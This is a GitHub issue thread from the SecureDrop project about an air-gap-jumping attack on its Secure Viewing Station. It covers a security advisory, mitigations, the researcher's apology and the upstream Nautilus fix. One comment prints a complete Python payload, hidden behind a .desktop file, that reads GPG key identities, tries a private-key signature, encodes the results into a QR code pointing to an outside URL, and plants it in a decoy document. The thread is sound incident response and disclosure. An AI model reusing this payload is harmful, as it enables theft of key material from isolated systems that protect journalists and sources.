-
Notifications
You must be signed in to change notification settings - Fork 690
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Investigate potential attempt to compromise SVS #2238
Comments
Full code is here: https://twitter.com/kpoulsen/status/903419596664840192 This appears to be a Journalists may be tricked into scanning the QR code with an internet-connected device, such as a phone. We are immediately notifying all administrators of these attacks in the wild to instruct all journalists never to scan QR codes with internet-connected devices. More to follow. |
Immediate advisory posted on the SecureDrop blog at https://securedrop.org/news/security-advisory-do-not-scan-qr-codes-submitted-through-securedrop-connected-devices and via Twitter at https://twitter.com/SecureDrop/status/903474257333673984 |
Now that everyone has been notified, here's a little more information and some initial options going forward. Attack SummaryThis attack is a
It's worth noting that while the amount of data that can be exfiltrated in one QR code is limited, at least some private key material could be exfiltrated in this way. Note that this particular code did not exfiltrate private keys. MitigationsTechnicalWe have tried to reduce unnecessary passwords in SecureDrop, and given that the submission key was in an airgap environment protected by the Tails persistence passphrase for the Secure Viewing Station, a passphrase has not been required on the submission key. We should re-evaluate this in light of threats like this one. Long term, we need to better control document handling and decryption in the SVS. TrainingWe should train journalists of this threat and strongly discourage them from scanning QR codes using internet-connected devices (and provide stronger guidance regarding visiting any links provided in SecureDrop submissions). We could also provide clearer guidance on the standard operating procedures to be used in the room hosting the SecureDrop viewing station - e.g. make sure that devices like phones do not enter. |
For the record, the full code from https://twitter.com/kpoulsen/status/903419596664840192 import subprocess
import base64
import re
import os
import logging
import zlib
import pipes
import zipfile
from io import BytesIO
SITE_ID = "K1SK"
def replace_file_in_zip(zip_data, file_to_replace, new_contents):
in_file = BytesIO(zip_data)
in_file.seek(0)
out_file = BytesIO()
# create a temp copy of the archive without filename
with zipfile.ZipFile(in_file, 'r') as zin:
with zipfile.ZipFile(out_file, 'w', compression=zipfile.ZIP_DEFLATED) as zout:
zout.comment = zin.comment # preserve the comment
for item in zin.infolist():
if item.filename != file_to_replace:
zout.writestr(item, zin.read(item.filename))
else:
zout.writestr(item, new_contents)
return out_file.getvalue()
def make_qr_code(data):
qr_file = BytesIO()
# img = qrcode.make(data)
# print("made img")
import qrcode
qr = qrcode.QRCode(version=None)
qr.add_data(data)
qr.make(fit=True)
img = qr.make_image()
img.save(qr_file, "PNG")
return qr_file.getvalue()
def try_command(command):
try:
return subprocess.check_output(command, shell="True")
except Exception:
logging.exception("Command error: ")
return b""
def get_message_data():
"""
Try read private key or system information
"""
message = b""
uid_list = try_command("gpg2 -K --with-colons | grep uid")
uid_list = "\n".join(uid_list.splitlines()[:5])
message += uid_list
return message
def try_sign(message, is_tails_2=False):
"""Return signature or the raw message"""
try:
if is_tails_2:
# This may raise a password prompt, but gpg1-agent shares decrypt and sign
return try_command("echo -n {message} | gpg -b --batch".format(message=pipes.quote(message)))
else:
return try_command("echo -n {message} | gpg -b --pinentry error".format(message=pipes.quote(message)))
except Exception:
logging.exception("Signing error:")
return message
def check_tails_2():
try:
with open("/etc/os-release") as release_file:
release_data = release_file.read()
if "Tails" in release_data and "\"2." in release_data:
return True
except Exception:
pass
return False
# Find the desktop file and replace it with the decoy
desktop_filename = os.environ["GIO_LAUNCHED_DESKTOP_FILE"]
current_dir = os.path.dirname(desktop_filename)
with open(desktop_filename, "r") as desktop_file:
desktop_data = desktop_file.read()
# Extract the file name and decoy file data from the .desktop file
display_name = re.search(r"^Name=(.*)$", desktop_data, re.MULTILINE).group(1)
decoy_data_b64 = re.search(r"^Resource=([\s\S]*)$", desktop_data, re.MULTILINE).group(1)
decoy_data = base64.b64decode(decoy_data_b64)
is_tails_2 = check_tails_2()
# Create new QR code and replace image in decoy doc.
exfil_data = ""
exfil_data += try_sign("Hello from the other side of the airgap", is_tails_2)
exfil_data += get_message_data()
exfil_data = zlib.compress(exfil_data)
exfil_data = base64.b64encode(exfil_data)
root_url = "https://donncha.is/passwords"
try:
qr_code = make_qr_code("{}/{}/{}".format(root_url, SITE_ID, exfil_data))
decoy_data = replace_file_in_zip(decoy_data, "Pictures/10000200000000FF000000FFBE684296D80C1F65.png", qr_code)
except Exception:
logging.exception("QR error:" )
# Save the decoy file with the same name as the Desktop name
final_filename = os.path.join(current_dir, display_name)
with open(final_filename, "w") as decoy_file:
decoy_file.write(decoy_data)
# Remove the original .desktop file
os.remove(desktop_filename)
# Do something with the decoy file
subprocess.Popen(["libreoffice", final_filename]) |
Has anyone reached out to @DonnchaC about this? |
I'd like to apologize for the stress and trouble that I have caused the SecureDrop team and SecureDrop operators by these's issues being dropped in public It was reckless of me to send such a payload to in-the-wild production SecureDrop systems. With the proof-of-concept I made an effort to demonstrate the real-world threat of air-gap jumping attacks while trying to avoid leaking sensitive information such as private keys. It should be easy to understand the actions and impact of the proof-of-concept Python script. I'd be happy to help anyone who has questions about the proof-of-concept or the risk of air jumping attacks in general. I can be contacted on email at [email protected]. I care deeply about information security and source protection. I have volunteered on SecureDrop in the past and I would like to see it become the strongest system possible for protecting sources and their information. Again I'd like to apologies for any hurt and harm caused. I hope that we can work together to improve these tools and procedures so that they are safer for users in the future. |
I've opened a ticket on the Tails bug tracker to get the Nautilus |
Thank you @DonnchaC for filing that bug upstream with Tails and for your assistance in incident response. While the way this unfolded was unfortunate, your work to improve SecureDrop is appreciated. At this point all impacted SecureDrop instances have been contacted and we are working with them as necessary to do incident response. If you are a SecureDrop administrator and you have for some reason not heard from us about next steps and want assistance with incident response, please use our support portal to get in contact with us. In the future, we strongly encourage security researchers to send any security issues via our Bugcrowd program or via PGP-encrypted email at For SecureDrop administrators and journalists, information about suspected ongoing attacks should be sent to us through our support portal or via PGP-encrypted email at |
FYI for anyone tracking the progress of backporting the Nautilus fix for malware hiding in |
The .desktop file fix has now been released as a Nautilus security update for Debian Stretch. It should be included in Tails release 3.3 which is scheduled for November 16th. |
Thanks for updating this issue @DonnchaC - we'll send out a reminder to all administrators to upgrade Tails devices upon release of the .desktop Nautilus fix in Tails. |
Tails 3.3 was released on the 14th November and it includes the fix for the .desktop file security issue in Nautilus. The fix causes an issue with how the SecureDrop .desktop shortcuts are displayed (#2586). |
Fix for #2586 is merged in and we'll include a reminder to upgrade to latest Tails (3.3) in the release announcement for 0.5 next week. Closing! |
Kevin Poulsen just tweeted a snippet of code that he says he received on his SecureDrop. The code snippet is incomplete, but it appears to be an attempt to exfiltrate sensitive data from the airgapped Secure Viewing Station (SVS).
Normally we would prefer to discuss potential security issues privately, in order to develop and deploy a fix without encouraging potential exploitation in case this really is a security vulnerability. In this case, the cat's out of the bag thanks the issue being reported publicly on Twitter, so we feel it's best to discuss it on an open forum in the interest of transparency.
The text was updated successfully, but these errors were encountered: